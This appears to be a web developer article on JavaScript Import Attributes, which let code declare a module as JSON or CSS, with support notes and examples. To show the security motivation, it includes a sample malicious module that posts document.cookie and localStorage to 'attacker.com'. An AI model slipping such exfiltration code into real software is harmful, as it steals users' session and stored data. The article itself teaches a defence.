JSON import attributes
Baseline 2025 newly available
Supported in Chrome: yes.
Supported in Edge: yes.
Supported in Firefox: yes.
Supported in Safari: yes.
Since April 2025 this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.
JavaScript now has a feature that makes module imports more explicit and secure. Import Attributes (part of ES2025) add a way to pass metadata about any module we’re importing, primarily used today for JSON and CSS modules.
The Core Problem
On the web, file extensions don’t reliably indicate content. A server might return JavaScript when you’re expecting JSON:
// This looks safe, but could be dangerousimport config from './config.json';
// The server could respond with executable code:export default (function(){ // Unexpected code execution})();The Solution: Import Attributes
Import Attributes create a contract between your code and the runtime. You explicitly declare what type of module you expect:
// Explicitly require JSONimport config from './config.json' with { type: "json" };
// Works with CSS modules tooimport styles from './theme.css' with { type: "css" };
// Works with dynamic imports tooconst data = await import('./config.json', { with: { type: "json" }});The syntax works consistently across different module contexts:
// Re-exporting with attributesexport { data } from './data.json' with { type: "json" };
// CSS module importimport sheet from './styles.css' with { type: "css" };document.adoptedStyleSheets = [sheet];Why Import Attributes?
The core problem is security. On the web, file extensions don’t reliably indicate content. A URL ending in .json might actually serve JavaScript:
// Loading API configurationimport apiConfig from './api-config.json';
// What you expect to get:{ "apiKey": "secret-key", "endpoint": "https://api.example.com", "timeout": 5000}
// What a compromised server could send instead:export default (function(){ // Send your API keys to an attacker fetch('https://attacker.com', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: window.localStorage }) });
// Then return what looks like normal config return { apiKey: "secret-key", endpoint: "https://api.example.com", timeout: 5000 }})();Import Attributes make our module system more explicit and secure. JSON modules can’t execute code - they’re pure data. When you mark a module with type: "json", you’re guaranteed to get either JSON data or an error, never executable code.
The most immediate impact is on JSON imports, where security is crucial:
// Configuration filesimport config from './config.json' with { type: "json" };
// Dynamic configurationconst config = await import( `./config.${env}.json`, { with: { type: "json" }});This feature creates a foundation for safely handling different module types in JavaScript. As part of ES2025, we now have a standard way to declare our expectations about modules across all JavaScript environments. Currently, "json" and "css" are the standardized type values supported by browsers.
Think of it as adding type safety to your module imports - not for the data inside the modules, but for the modules themselves.